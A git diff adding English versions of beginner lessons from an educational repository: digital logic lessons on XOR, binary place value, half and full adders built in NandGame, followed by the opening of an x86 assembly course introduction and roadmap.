+and in the binary world, the ones digit of the way 2 is written is **0** (we'll build up why,
+step by step, in Unit 1). Now look at XOR's table once more:
+
+| a | b | a+b | ones digit of the sum | XOR |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 1 | 1 |
+| 1 | 0 | 1 | 1 | 1 |
+| 1 | 1 | 2 | **0** | **0** |
+
+Exactly the same column. **XOR is the ones digit of a two-bit addition.** This gate that
+plays bouncer at the club door will, two lessons from now, be the heart of the circuit that lets the
+computer do addition.
+
+---
+
+## 🎮 Now You Build It
+
+**Mission:** NandGame → **Xor** level.
+
+The story is in your hands: two bouncers + an approval desk. Look at the ready-made parts in your box (or, nand, and
+— you built them all), and pull the wires. After you build it, try the four input combinations
+**by hand** and each time watch which bouncer says "no" — that's when the circuit turns into
+the story.
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Fork `a` and `b` and feed them into **both OR and NAND**. Give the two gates' outputs to **AND**;
+AND's output is XOR.
+
+Extra observation: while your circuit is running, give it (1,1) and watch how the 0 at NAND's output
+locks AND; then give it (0,0) and see the same lock on the OR side. Two bouncers, killing two
+separate rows — if the table has four rows, two "no"s + two "yes"es is the whole tally.
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ XOR = difference detector: 1 if different, 0 if the same.
+☐ Second reading: "1 if there is EXACTLY ONE 1" — don't forget this, it comes back in addition.
+☐ One gate isn't enough, because the request is TWO sentences: "at least one" + "not both."
+☐ The solution team: OR bouncer (eliminates 0,0) + NAND bouncer (eliminates 1,1) + AND approval desk.
+☐ Design method: split a complex request into sentences, hand out gates to the sentences.
+☐ XOR's secret identity: the ONES DIGIT of a two-bit addition.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Building the three gates on the team
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Boxing up the layers: the main idea of this series
+- [05_half_adder.md](./05_half_adder.md) — Where XOR's secret identity comes to light
+
+---
+
+**Previous topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+**Next topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series progresses alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
new file mode 100644
index 0000000..0466096
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
@@ -0,0 +1,170 @@
+# 🔢 From Switches to a Computer — When Wires Become Numbers
+
+> Up to now, wires have carried "yes/no" for you: current, a decision, the go-ahead from
+> the ones that do the dirty work. In this lesson we'll give wires a brand-new meaning:
+> **number.** This is the biggest mental leap in the series — and the only concept lesson
+> that contains no circuit. If you lay this groundwork solidly, the adder lessons will
+> flow like water.
+
+> **No circuit in this lesson, no game.** Just one idea. But the whole of Unit 1 rests on
+> this idea: don't rush, read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [The Limit of a Single Wire](#the-limit-of-a-single-wire)
+- [The Remedy: Adding Wires and Assigning Values](#the-remedy-adding-wires-and-assigning-values)
+- [The Token System](#the-token-system)
+- [This Is a Trick You Already Know](#this-is-a-trick-you-already-know)
+- [Counting in Binary](#counting-in-binary)
+- [The Reading Formula](#the-reading-formula)
+
+---
+
+## The Limit of a Single Wire
+
+Recall the basic truth from lesson 01: **a wire knows no meaning.** A wire either has
+current or it doesn't. We named those two states "1" and "0" — that was the first meaning
+we assigned.
+
+Now a new need arises: in a moment our circuits will **count** (they'll answer the
+question "how many?"). But the biggest thing a single wire can say is "1". There's no
+"2 units of current" on a wire — the current is either there or not. So how does a circuit
+say 2, 3, or 500?
+
+> 🔑 The answer isn't inside the wire, it's in the **number of wires:** for bigger numbers
+> you add wires — and you **assign each wire a different value.** A number doesn't live on
+> a single wire, it lives in how a **group** of wires is read.
+
+---
+
+## The Remedy: Adding Wires and Assigning Values
+
+Take two wires. Call the left one the "**2's wire**" and the right one the "**1's wire**".
+Our rule:
+
+> The number the group says = **the sum of the values of the wires that are on.**
+
+With two wires you can build four different states — and the four say four separate numbers:
+
+| 2's wire | 1's wire | Number said |
+|:---:|:---:|:---:|
+| 0 | 0 | 0 + 0 = **0** |
+| 0 | 1 | 0 + 1 = **1** |
+| 1 | 0 | 2 + 0 = **2** |
+| 1 | 1 | 2 + 1 = **3** |
+
+That's all there is to it. The whole of the thing that wanders around under scary book
+titles like "the binary number system" is this table: **assign values to wires, sum the
+ones that are on.**
+
+---
+
+## The Token System
+
+To make the same idea tangible, think in tokens. You have two kinds of token in your hand:
+**2's** and **1's.** You say any amount by "which tokens you handed over":
+
+```
+ pay 0 → no token → wires: 0 0
+ pay 1 → one 1's → wires: 0 1
+ pay 2 → one 2's → wires: 1 0
+ pay 3 → one 2's + 1's → wires: 1 1
+```
+
+> 💡 Note: you can use **at most one** of each kind of token — because a wire either turns
+> on or it doesn't; there's no "turning on twice." Since you don't have the option of
+> handing over two 1's when you "pay 2," the 2's token is **mandatory.** This mandate is
+> why the values go 1, 2 (and, in a moment, 4, 8...): so that every amount can be paid in
+> **exactly one way**, using at most one of each token.
+
+---
+
+## This Is a Trick You Already Know
+
+Don't let "assigning values to digits" feel new to you — **you've been doing it since
+grade school.** When you write "347" in the decimal system, what you're really saying is:
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 100's 10's 1's → 3×100 + 4×10 + 7×1 = 347
+```
+
+In the decimal system the place values go 1, 10, 100, 1000... (each one **10 times** the
+previous, because you can write **ten** different digits, 0–9, in each place).
+
+In our wires, though, there are only **two** things that can be written in a place: 0 and 1.
+So the place values go 1, 2, 4, 8... — each one **2 times** the previous.
+
+> 🔑 So "the binary system" isn't a separate kind of math; it's **the same place-value idea,
+> in its two-digit form.** Just as "10" in decimal is "one ten, zero ones," in binary `10`
+> means "one 2's, zero 1's" — that is, **2.** See? There was nothing to be afraid of.
+
+---
+
+## Counting in Binary
+
+With three wires (4's, 2's, 1's) let's count from 0 to 7 — out loud, in token language:
+
+| Number | 4's | 2's | 1's | In token language |
+|:---:|:---:|:---:|:---:|---|
+| 0 | 0 | 0 | 0 | no tokens at all |
+| 1 | 0 | 0 | 1 | 1's |
+| 2 | 0 | 1 | 0 | 2's |
+| 3 | 0 | 1 | 1 | 2's + 1's |
+| 4 | 1 | 0 | 0 | 4's |
+| 5 | 1 | 0 | 1 | 4's + 1's |
+| 6 | 1 | 1 | 0 | 4's + 2's |
+| 7 | 1 | 1 | 1 | all of them |
+
+See a pattern in the table: the **1's column** ticks 0-1-0-1; the **2's column** goes in
+twos; the **4's** in fours. Like the digits on an odometer — when the right one fills up,
+the left one goes up by one. Same logic, except "filling up" happens at 1 instead of 9.
+
+---
+
+## The Reading Formula
+
+Let's squeeze everything into a single line. Let the three wires, left to right, be named
+`x h l` (4's, 2's, 1's):
+
+> **number said = 4·x + 2·h + 1·l**
+
+This formula is the key to the next two lessons. When our circuits hand you two wires called
+`h l`, you won't panic; you'll just read "2·h + l" and move on.
+
+> 💡 **You might be wondering:** *"So why doesn't a computer use decimal? People count in
+> decimal, after all."* Because the nature of a wire has two states: current on/off. If we
+> wanted decimal, we'd have to reliably tell apart ten different current levels on every
+> wire — in the noisy real world that's fragile and expensive. "On/off," on the other hand,
+> is rock-solid. The hardware didn't choose binary; **binary came out of the nature of the
+> wire.**
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A single wire says "1" at most. A bigger number = ADD A WIRE + ASSIGN each wire a VALUE.
+☐ Number = the sum of the values of the wires that are on. (Token analogy: which tokens did you hand over?)
+☐ At most ONE of each token → the values must be 1, 2, 4, 8... (powers of two).
+☐ The binary system = the place-value idea from school, with two digits. `10` (binary) = "one 2's" = 2.
+☐ Reading formula: number = 4x + 2h + 1l. This line is the key to two lessons.
+☐ The computer didn't choose binary; binary came out of the on/off nature of the wire.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — Where the principle "a wire knows no meaning" was born
+- [05_half_adder.md](./05_half_adder.md) — The fruit of this lesson: a circuit that ADDS numbers
+
+---
+
+**Previous topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+**Next topic:** [05_half_adder.md](./05_half_adder.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
new file mode 100644
index 0000000..15e7c06
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
@@ -0,0 +1,158 @@
+# ➕ From Switches to a Computer — Half Adder: The First Adder
+
+> If you dig down to the bottom of everything a processor does, you always reach the same thing: **addition.**
+> Subtraction is addition with a negative number; multiplication is repeated addition; the health in
+> a game, the tick of a counter, an address calculation in memory — all of it is addition. In this lesson you'll build
+> the deepest cell of that giant pyramid: **the circuit that adds two bits.** And you'll see
+> that you've been carrying the pieces in your pocket all along.
+
+---
+
+## 📋 Table of Contents
+
+- [Task: How Much Is 1 + 1?](#task-how-much-is-1--1)
+- [Why Isn't One Output Enough?](#why-isnt-one-output-enough)
+- [Build the Table, Spot the Familiar Faces](#build-the-table-spot-the-familiar-faces)
+- [The Circuit: Two Old Friends, Side by Side](#the-circuit-two-old-friends-side-by-side)
+- [Why a "HALF" Adder?](#why-a-half-adder)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## Task: How Much Is 1 + 1?
+
+The box we want to build looks simple: two inputs (`a`, `b`), each a single bit.
+Let the box add them **as numbers.**
+
+There are only four possibilities in total:
+
+```
+ 0 + 0 = 0 0 + 1 = 1 1 + 0 = 1 1 + 1 = ... 2
+```
+
+And while the first three are trouble-free, in the fourth things get interesting: **2.** From the last lesson
+you know — on a single wire there's no such thing as "2". In binary, 2 is written `10`: *one
+2, zero 1s.*
+
+---
+
+## Why Isn't One Output Enough?
+
+This is exactly why our adder is forced to have **two output wires:**
+
+- **l** (low) → **the 1s wire:** the ones digit of the sum.
+- **h** (high) → **the 2s wire:** the twos digit of the sum.
+
+To put it in the language you learned in school: `l` = "**write down**", `h` = "**carry**". In 7+5=12, when you say
+"write 2, carry 1" you're doing exactly the same thing — it's just that our digit doesn't fill up at 9,
+it fills up at 1: 1+1 = "write 0, carry 1" = `10`.
+
+> 🔑 Always read the output with the formula from 04: **sum = 2·h + l.** The two wires aren't two separate
+> answers; they are **the two digits of a single number.**
+
+---
+
+## Build the Table, Spot the Familiar Faces
+
+Write the four possibilities one under another, ask only "how much did it come to?" on each row, and write the result
+as `h l`:
+
+| a | b | a+b | h (2s) | l (1s) |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 0 | 1 |
+| 1 | 0 | 1 | 0 | 1 |
+| 1 | 1 | **2** | **1** | **0** |
+
+Now look at the columns **one by one.** One of the sweetest surprises of this series is waiting for you:
+
+- **The l column:** `0, 1, 1, 0`... You've seen this before. 1 if they differ, 0 if they're the same —
+ **this is the table of XOR.** The "trailer" at the end of lesson 03 came true: this turns out to be XOR's secret
+ identity — *the ones digit of addition.*
+- **The h column:** `0, 0, 0, 1` — 1 only when both are 1... **this is AND.** Makes sense:
+ a carry is born only if *two* 1s come together; the gate that asks the "both of them?" question was already AND.
+
+> 💡 We didn't invent any new gate. Addition — the computer's most fundamental ability —
+> turns out to be two of your old acquaintances (XOR and AND) **looking at the same question from two angles**:
+> XOR asks "what do the ones say?", AND asks "did a pair form?".
+
+---
+
+## The Circuit: Two Old Friends, Side by Side
+
+The design wrote itself. Fork `a` and `b`; give one copy to XOR, one copy to
+AND:
+
+```
+ a ──┬──────────► [ XOR ] ──────► l (write / ones digit)
+ │
+ b ──┴──────────► [ AND ] ──────► h (carry / twos digit)
+```
+
+The two gates are **side by side**, at the same time, looking at the same inputs — one producing the lower
+digit of the sum, the other the upper digit. The name of this box is **half adder**.
+
+---
+
+## Why a "HALF" Adder?
+
+Calling a box that does a perfectly good job "half" seems unfair. It isn't — the box has
+a real shortcoming, and that shortcoming is the very reason the next lesson exists.
+
+Do a multi-digit addition on paper: 27 + 35. The right digit: 7+5=12, "write 2, carry 1".
+Now look at the **middle digit**: 2 + 3 + **1 (carry)** — the middle digit is adding **three things**!
+Every digit has to take into account the carry coming from its right neighbor.
+
+The half adder, however, has only **two inputs.** It has no third mouth to take in an incoming carry.
+So on its own it can only do the job **in the rightmost digit** — it can be the first link of the chain,
+but not a middle one.
+
+> 🔑 **Half adder = an adder that CAN PRODUCE a carry but CANNOT ACCEPT one.** That's what its "half"-ness
+> is. You'll build the "full" version that can accept a carry — the full adder — in the next lesson,
+> and you'll do it using this very box you built today as a part.
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** NandGame → **Arithmetics** section → **Half Adder** level.
+
+This time you know almost everything; when you see the target table in the game, you'll recognize it.
+Build it, then try the four combinations by hand and each time read it off in your head: *"how many apples
+did I count → with which tokens did I pay?"*
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Fork `a` and `b` and give them to **both XOR and AND**. XOR's output → `l`,
+AND's output → `h`. Two gates, four wires — you've planted the seed of computer arithmetic.
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ At the bottom of everything a computer does there's always addition; its smallest cell is this box.
+☐ 1+1 = 2 = `10` in binary → even a single column needs TWO outputs: l (write) + h (carry).
+☐ Reading: sum = 2·h + l. Two wires = the two digits of a single number.
+☐ The l column = XOR (its secret identity: the ones digit of addition).
+☐ The h column = AND (a carry is born only from two 1s).
+☐ The reason for its "half"-ness: it PRODUCES a carry but CANNOT ACCEPT one → it can only be the rightmost digit.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — where the `2·h + l` formula comes from
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — the construction of XOR and the "secret identity" trailer
+- [06_full_adder.md](./06_full_adder.md) — completing the missing mouth: the adder that accepts a carry
+
+---
+
+**Previous topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+**Next topic:** [06_full_adder.md](./06_full_adder.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along in the company of [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
new file mode 100644
index 0000000..fa8ed50
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/06_full_adder.md
@@ -0,0 +1,231 @@
+# 🔗 From Switches to a Computer — Full Adder: The Carry Chain
+
+> Last lesson you built a box, but it earned a "half" stamp: it produced a carry,
+> but it couldn't accept one. In this lesson you'll complete the missing input. The box
+> you build will be called a **full adder** — and, no exaggeration, this is the **brick**
+> of the arithmetic inside a modern processor: line up 64 of them side by side and you've
+> built the hardware that adds 64-bit numbers.
+
+> This is the most demanding build in the series so far. The difficulty isn't in the parts —
+> they're all familiar — it's in the **way of thinking.** We'll walk the path together,
+> the wrong turn included.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Three Inputs?](#why-three-inputs)
+- [The Box's Entire Logic in One Sentence](#the-boxs-entire-logic-in-one-sentence)
+- [Not Eight Rows, Four Cases](#not-eight-rows-four-cases)
+- [The Wrong Way: "Let Me Add All the Pairs"](#the-wrong-way-let-me-add-all-the-pairs)
+- [The Right Way: Like on Paper, In Order](#the-right-way-like-on-paper-in-order)
+- [The Last Wire: Two Carries, One Output](#the-last-wire-two-carries-one-output)
+- [🎮 Now You Build It](#-now-you-build-it)
+- [Closing: The Chain of 64](#closing-the-chain-of-64)
+
+---
+
+## Why Three Inputs?
+
+Add 27 + 35 on paper and watch what your hand does:
+
+```
+ ¹ ← carry
+ 2 7
+```
+```
+ + 3 5
+ ─────
+ 6 2
+```
+
+- Rightmost digit: 7+5=12 → "write 2, **carry 1**". Here you added **two** things.
+- Middle digit: 2+3+**1** → 6. Here you added **three** things: two digits + the incoming carry.
+
+Every digit in the middle of the chain has three inputs. That is exactly what a full adder
+is: the machine for that middle digit:
+
+> **Full adder = a box that adds a + b + c** — where `c` is the **carry** coming in from
+> the right neighbor. Its output is again two wires: `l` (write) and `h` (the new carry,
+> heading to the left neighbor).
+
+---
+
+## The Box's Entire Logic in One Sentence
+
+Adding three single-bit numbers is really just counting:
+
+> 🔑 **COUNT how many 1s are among the three inputs. Write the resulting number in binary: h l.** That's all.
+
+The count can come out 0, 1, 2, or 3 (there's nothing more than three inputs). You already
+know the binary form of all four from lesson 04: `00`, `01`, `10`, `11`.
+
+---
+
+## Not Eight Rows, Four Cases
+
+In the game an eight-row table will greet you. Don't let it scare you — group the rows by
+the question "how many 1s are there?" and eight rows collapse to four:
+
+| How many 1s? | Which rows | h l | In token language |
+|:---:|---|:---:|---|
+| 0 | 000 | `0 0` | no tokens |
+| 1 | 001, 010, 100 | `0 1` | one 1-token |
+| 2 | 011, 101, 110 | `1 0` | one 2-token |
+| 3 | 111 | `1 1` | 2-token + 1-token |
+
+Make two observations:
+
+- **All three** of the rows with a single 1 give the same answer; so do the ones with two 1s.
+ **Which** input is 1 doesn't matter at all — only the **count** matters. (Just like 7+5
+ and 5+7 being the same.)
+- The half adder's table had no `1 1` output — two inputs count to 2 at most. The only
+ novelty the third input brings is that last row: 3 = `11`.
+
+> 💡 Read the table one more time by **splitting it into floors**: separate the four rows
+> where c=0 and look at h,l — out comes the **exact same table as the half adder's**. Makes
+> sense: if the third basket is empty, a three-basket box has to behave like a two-basket
+> box. This observation is the soul of the circuit you're about to build: inside the full
+> adder, a half adder **lives.**
+
+---
+
+## The Wrong Way: "Let Me Add All the Pairs"
+
+At this level the first idea that comes to mind is usually this (and it's worth trying — the
+wrong way teaches too): *"I have a box that adds two things; so I'll add all the pairs:
+a+b, a+c, b+c... then I'll combine them."*
+
+You place three or four half adders, wire them up, and... you find yourself with a pile of
+outputs and not a single "sum". Each box reports separately "how many 1s are in these two";
+the reports repeat each other and nobody tells you the **overall total**. As the part count
+grows, you get closer not to a solution but to a crowd of wires.
+
+> ⚠️ The lesson here isn't a circuit lesson, it's a thinking lesson: **adding parts is not
+> progress.** If your circuit is growing but your clarity is shrinking, go back to the table
+> and look at the operation *itself*: how were you doing this job by hand?
+
+---
+
+## The Right Way: Like on Paper, In Order
+
+Add 2 + 3 + 4 in your head and pay attention to **what you do**: "2+3 = 5... 5+4 = 9."
+You didn't add all the pairs at once; **you added two, then added the third onto the
+result.** Addition is sequential — the **answer** of one addition becomes the **input** of
+the next.
+
+You know this sentence from lesson 03.5: *the answer of one floor is the signal of the floor
+above.* So then:
+
+1. **First half adder:** let it add `a + b`.
+2. **Second half adder:** let it add `c` onto the first one's result.
+
+One subtlety remains: the first box's result is **two wires** (h and l). Which one do you
+feed to the second box? Think in token language: `c` is a value **in 1-token units** (0 or 1
+apple). The wire that goes on the same scale as it must also be in 1-token units: **`l`.**
+(`h`, on the other hand, is in 2-token units — that belongs on a different scale, and will
+wait off to the side.)
+
+```
+ a ──► [ add ] h₁ ─────────────────────┐ (2-token — waiting)
+ b ──► [ 1 ] l₁ ──► [ add ] h₂ ──────┤ (2-token — waiting)
+ c ──► [ 2 ] l₂ ──────►│──► l ✓ (ones place done)
+ ▼
+ last wire: h = ?
+```
+
+---
+
+## The Last Wire: Two Carries, One Output
+
+You have two h wires in hand (h₁, h₂) but the box has only one `h` output. Both wires shout
+the same sentence: *"I found a pair!"* — the first in a+b, the second in remainder+c. But
+your `h` output's question is: "**is there a pair inside?**" It doesn't care who found the pair.
+
+"If at least one is shouting, h=1" — you know this sentence: **OR.**
+
+But let's be meticulous; OR's table also has a `(1,1) → 1` row. What if both shout at once?
+Two pairs = 4 apples would be needed; three inputs give 3 at most. Still, prove it on paper:
+for h₁=1 you'd need a=b=1 → then l₁ = 0 → 0 and c enter the second box → the second box can
+**never** find a pair. **Two shouts at the same time are impossible.** OR's one suspect row
+will never be visited — use it with confidence.
+
+> 💡 A subtle bonus: since the (1,1) case never occurs, **XOR** — which differs from OR only
+> on that very row — would do the same job. Both pass. That two different gates can do the
+> same task in a circuit feels strange at first — the secret is that they live in a world
+> where their difference is never tested.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** NandGame → **Full Adder** level.
+
+Your directions: two `add`s (the game put your half adder into your box under that name —
+03.5 at work), one OR. Build it, and try a few of the eight combinations by hand: each time
+read out to yourself "how many apples → which tokens".
+
+
+🔒 Solution schematic — try it yourself first, then open
+
+1. `add₁`: inputs **a, b**.
+2. `add₂`: inputs **the l of add₁** and **c**.
+3. **OR**: inputs **the h of add₁** and **the h of add₂** → its output to the box's **h**.
+4. **The l of add₂** → to the box's **l**.
+
+Summary of the summary: *full adder = two half adders + one OR.* But you now say this
+sentence not by rote but knowing the "why" of each of its wires — that's the difference.
+
+
+
+---
+
+## Closing: The Chain of 64
+
+Look at the box you built one last time: it has a carry **input** called `c` and a carry
+**output** called `h`. Which means these boxes... **can plug into each other.** One's h
+becomes the c of the one to its left:
+
+```
+ ... ◄─h─ [FA₂] ◄─h─ [FA₁] ◄─h─ [FA₀] ◄── (first carry: 0)
+ b₂ a₂ │ b₁ a₁ │ b₀ a₀ │
+ l₂ l₁ l₀
+```
+
+Each box is one digit; the carry flows from right to left, just like on paper. Line up 8 of
+them and you've built the hardware that adds 8-bit numbers; line up 64 and it's the hardware
+that adds 64-bit numbers. If a program on your computer just ran an `add` instruction, it
+went through exactly this chain — through 64 copies of **the box you built today.**
+
+Building this chain yourself is the job of the next lesson (and the next level in NandGame):
+**Multi-bit Adder.** See you there.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Full adder = a + b + carry-in. The machine for the MIDDLE digit on paper (three inputs!).
+☐ All the logic: COUNT the 1s, write the number in binary (h l). 8 rows = 4 cases.
+☐ Who is 1 doesn't matter, HOW MANY 1s matters. The c=0 floor = the half adder itself.
+☐ Wrong-way lesson: adding parts isn't progress. Build it the way you do it by hand.
+☐ Addition is SEQUENTIAL: add → then add onto the result. (A floor's answer, the floor above's signal.)
+☐ The wire added to c is l (both in 1-token units); the h's are 2-token, waiting off to the side.
+☐ Two h's can never be 1 at once (paper proof) → OR is enough to combine (XOR would pass too).
+☐ The h output plugs into the neighbor's c input → the chain of 64 = the hardware of the processor's `add`.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_half_adder.md](./05_half_adder.md) — The box that lives inside this circuit twice
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — The basis of "count and write in binary"
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — "The answer is the floor above's signal"
+
+---
+
+**Previous topic:** [05_half_adder.md](./05_half_adder.md)
+**Next topic:** *(on the way — Multi-bit Adder: building the chain of 64)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
new file mode 100644
index 0000000..bc7c8b1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
@@ -0,0 +1,165 @@
+# 🧭 x86 Assembly — Start Here (Really From Scratch)
+
+> A computer is not magic. Inside it there is a worker who does very simple things at an **unimaginable speed**,
+> but who does not have a single gram of imagination.
+> This worker understands only a handful of orders: *"put this number in that box", "add those two together", "jump over there."*
+> Assembly is the art of writing a to-do list for that worker in the **only language** he understands.
+
+> **Who is this course for?** Anyone who knows how to turn on a computer. Never having seen a terminal,
+> never having written a line of code before, not knowing "what does register mean" — all completely normal;
+> we will build all of it from here, from scratch. The only prerequisite: patience and curiosity.
+
+> ✅ **This course is now complete: all lessons from 00 through 20 are written.** And every lesson is not "on paper" — **every program and every GDB output inside it was verified by running it on a real machine.** The path: **Unit 0** (machine model) → **Unit 1** (first instructions, arithmetic) → **Unit 2** (flow: decisions & loops) → **Unit 3** (stack, functions, system calls) → **Unit 4** (the C bridge, where to go from here). Read from start to finish, in order — each unit leans on the previous one.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Course Is NOT](#what-this-course-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [What Will You Be Able to Do at the End?](#what-will-you-be-able-to-do-at-the-end)
+- [The Big Picture: Why Does Assembly Exist?](#the-big-picture-why-does-assembly-exist)
+- [Roadmap — Unit by Unit](#roadmap--unit-by-unit)
+- [How Should You Study?](#how-should-you-study)
+- [If Something Breaks](#if-something-breaks)
+
+---
+
+## What This Course Is NOT
+
+- **Not a fast course.** We won't rush. Every concept will sit on top of the previous one. A stone you skip will trip you up later.
+- **Not a memorization course.** I won't make you memorize a list of instructions. I'll introduce each instruction at the *moment you need it* — that way the question "why does this exist?" never even arises.
+- **Not a program-writing marathon** (but we will write). The goal is first to **understand**: what is the machine actually doing inside? Once you understand that, the code comes on its own.
+- **It does not expect you to know C / Python / "real" programming.** Even if you don't know a single language, you can start here.
+
+---
+
+## First, Let's Break the Fear
+
+Most resources greet you straight away with things like `EAX`, `0xdeadbeef`, `mov dword ptr [ebp-0x4]`, and one rightly says "this isn't for me."
+
+Let me tell you a secret: **the hard part of assembly is not the instructions.** Instructions like `mov`, `add`, `jmp` are surprisingly simple — you'll see in a moment. The real issue is picturing in your head **how the machine thinks** (or rather, *doesn't think*).
+
+Once you've settled this, the rest flows like water. The entire first unit is devoted to this — there **we won't write a single line of code.** We'll only build the picture.
+
+> 💡 Getting stuck, feeling confused, the "am I the stupid one" feeling — all normal, and **everyone** passes through this door. Slowing down here is not a weakness, it's a method. Reading a section twice is no shame; it's advice.
+
+---
+
+## What Will You Be Able to Do at the End?
+
+When you finish this course:
+
+- You'll be able to explain **concretely** what a computer actually does when it "runs".
+- You'll comfortably read binary and hexadecimal numbers.
+- You'll be able to **write and run** your own 32-bit assembly programs (ones that print text to the screen, do arithmetic, make decisions, build loops).
+- You'll be able to follow a program **step by step** with GDB and answer the question "what just happened?".
+- When you compile a C program and look at its assembly, you'll be able to see **patterns you recognize**.
+
+In other words: you'll stop being someone for whom "a computer is a box" and become someone who can see inside it.
+
+---
+
+## The Big Picture: Why Does Assembly Exist?
+
+The languages humans read (Python, C...) are not the languages a computer **understands directly**. The only thing a computer understands is a giant **sequence of numbers** — this is called *machine code*. For example, to tell the processor "put 5 in the EAX box", you actually send it this number: `B8 05 00 00 00`.
+
+Writing these numbers by hand is nearly impossible. **Assembly** is the **human-readable labels** attached to these numbers:
+
+```
+Machine code (what the processor sees): B8 05 00 00 00
+Assembly (what you write): mov eax, 5 ← "put 5 in EAX"
+```
+
+*(But why five numbers for a single 5? The first one — `B8` — is the "put in EAX" order itself; the remaining four numbers are the 4-byte form of 5 as it sits in memory. We'll open this up in [08_mov_ve_bellek](./08_mov_ve_bellek.md) — for now you don't even need to count, just look.)*
+
+The two **correspond one-to-one** — each assembly line is assembled into specific numbers, and there is no magic you don't understand in between. Assembly is the human language closest to machine code. *(We'll also open up separately in [05.5_perde_arkasi](./05.5_perde_arkasi.md) the invisible wrapper — things like `_start`/ELF — that the machine adds to run the program.)* That's why learning assembly = learning what the machine actually does. Higher-level languages (C, Python) are **convenience layers** built on top of this machine.
+
+> 🔑 Keep in mind: **You write assembly → a program called `nasm` assembles it into machine code (numbers) → the processor reads those numbers and does them.** The translator is called an *assembler*; ours is `nasm`.
+
+---
+
+## Roadmap — Unit by Unit
+
+Read the files in this order. Each unit leans on the previous one.
+
+### 🧩 Unit 0 — No Code Yet: Meeting the Machine
+
+> Here **we won't write a single line of code.** We'll only build the machine's mental model. This unit is the foundation of the course; if it isn't laid solidly, nothing above it will hold.
+
+| # | File | What it teaches | Takeaway |
+|:---:|---|---|---|
+| 1 | [01_bilgisayar_nedir](./01_bilgisayar_nedir.md) | Computer = numbered boxes + worker; what "running" means | Mental model |
+| 1.5 | [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) | If "everything is a number", how does a cat video happen; meaning comes from code | Number ≠ meaning |
+| 2 | [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md) | What a terminal is, how to open it, typing a command and reading its output | Your first "I did it" moment |
+| 3 | [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) | Binary/hexadecimal — counting the way the machine counts | Reading addresses and values |
+| 4 | [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md) | Memory (boxes) and registers (the worker's hands) | The field assembly plays on |
+| 4.5 | [04.5_registerin_ici](./04.5_registerin_ici.md) | Inside a register: AL/AH/AX/EAX, "same bits, different window" | Register anatomy |
+
+> 💡 Files whose number ends in `.5` (`1.5`, `4.5`, `5.5`…) are each a short **side lesson**: added to the main road but lighter. If you're in a hurry you can skip them; but frequently-asked points like "how does a cat video become a number?", "what's inside a register?", "what did those instructions do behind the scenes?" are clarified there.
+
+### ⚙️ Unit 1 — First Instructions: Giving the Worker Orders
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 5 | [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md) | `nasm`/`ld`/`gdb` installation, the "write → assemble → run" chain | A program that does nothing and exits |
+| 5.5 | [05.5_perde_arkasi](./05.5_perde_arkasi.md) | Behind the scenes: `./` and PATH, `nasm` vs `ld`, what `_start` really is | (no code) |
